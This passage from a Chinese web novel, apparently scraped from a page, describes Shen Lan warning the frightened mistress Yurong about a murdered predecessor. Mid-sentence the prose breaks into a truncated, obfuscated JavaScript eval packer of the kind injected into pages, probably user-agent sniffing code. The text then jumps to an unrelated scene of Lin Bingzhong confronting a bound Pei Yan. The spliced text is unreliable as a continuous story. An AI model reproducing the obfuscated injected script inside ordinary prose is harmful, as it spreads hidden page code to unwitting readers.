谁知一解下,玉容即刻斥骂道:“不要你假好心!若不是你掳了我,我怎会衣衫不整地被几个男人瞧了去!” 沈澜看着她,一阵阵难过:“你知道跟你颠鸾倒凤的男人是魏国公府的四老爷吗?” 玉容恨恨道:“是又如何!” “那你便是知道了。”沈澜看着这小姑娘,缓缓道:“你可知道上一个跟四老爷在一起的外室,人如何了?” “你、你莫要吓唬我。”玉容年岁尚幼,闻言心中害怕,便有几分瑟缩。 沈澜平静道:“上一个外室,是贱籍,被四老爷的妻子四太太捉奸在床,押回了国公府。” 玉容打了个寒颤,忍不住问:“然后呢?” 沈澜继续不疾不徐道:“那是冬季,京都鹅毛大雪,白茫茫一片。四太太允诺,只要她能熬过十棍,便放了她。” “她欣喜地答应了。可受刑杖是军中足有手臂粗的榉木杖,还要袒衣露股,受众多丫鬟婢女围观。十棍过后,她人还活着,能喘气,当夜发了高烧,没药没大夫,死了。” 她听念春说起来的时候,对方尸身已凉透了。 “方才,若不是我将你掳走,来寻你的就不是我,而是四太太了。” 玉容情不自禁的,上下牙齿咯咯磕碰起来,沈澜的话如同一捧凉水浇在心头,冻得她浑身发抖。 沈澜怜悯地看着这个小姑娘。她之所以要插手此事,不仅是为了完成工作,更多的是想救这个外室一命。 “姐姐!姐姐!你救救我!”玉容大哭起来,“我不是要跟四老爷的。我不是!我不是!” 她太恐惧,太害怕,一股脑的都倒了出来:“春芳姐姐得花柳死了,燕子怀孕被鸨母灌了碗堕胎药,孩子没下来人先没了,月娘拼命接客攒了银子要赎身,鸨母趁她不在翻箱倒柜拿走了所有银子,月娘上吊死了!寒霜遇到有癖好的客人,被打得浑身是血,当晚发高烧死了。我、我怕死在鸨母手里才求了四老爷的!我、我不跟四老爷了!你救救我啊!救救我!” 她哭得撕心裂肺,涕泗横流,鬓发散乱地搭在脸颊上,如同一个疯婆子。 玉容为了活下去被迫跟了四老爷很可怜,四太太丈夫出轨很可怜,被她弄死的女子罪不至死很可怜。 人人都很可怜。 沈澜心里发涩,只摩挲着她的脊背,“你先别哭,听我说。” 玉容泪眼朦胧地抽噎着,“我、我听,姐姐你救我!救救我!” 沈澜安抚了她几句不要急,这才说道:“明日会有一人来审你,此人生的俊,你一眼便能认出来。他是我……主子。你不必遮掩你的经历,只需如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林秉忠进来道:“四老爷,我林秉忠一人做事一人当,今儿把你绑起来这事儿是我主意,你若要报复,尽管来找我。”语毕,他解开裴延口中棉布。 裴延破口大骂:“你这狗杀才!奸夫淫.妇!我看你和沁芳是背着守恂通奸来着!只可惜那沁芳早就被我碰过了,如今还与你勾三搭四,真是个水性杨花……” 林秉忠大怒,斥道:“你胡说八道什么!” 裴延冷笑两声:“我胡说八道?你不如去问问那淫.妇,她可是在小花园里求着我说要到我身边来,还主动说要去假山石里与我燕好呢!” 林秉忠却突然冷静下来:“那她为何不引诱爷却诱你?” 裴延被问得一怔,愤然变色,只大发雷霆,咒天咒地,叫嚷着“小娼妇”、“奸夫”、“叫守恂将你二人沉塘”。 林秉忠怒气丛生,却反倒想明白了,四老爷素来贪花好色,必是看上了沁芳却不得,在这里诋毁她! 林秉忠冷冷望他一眼,将棉布塞了回去。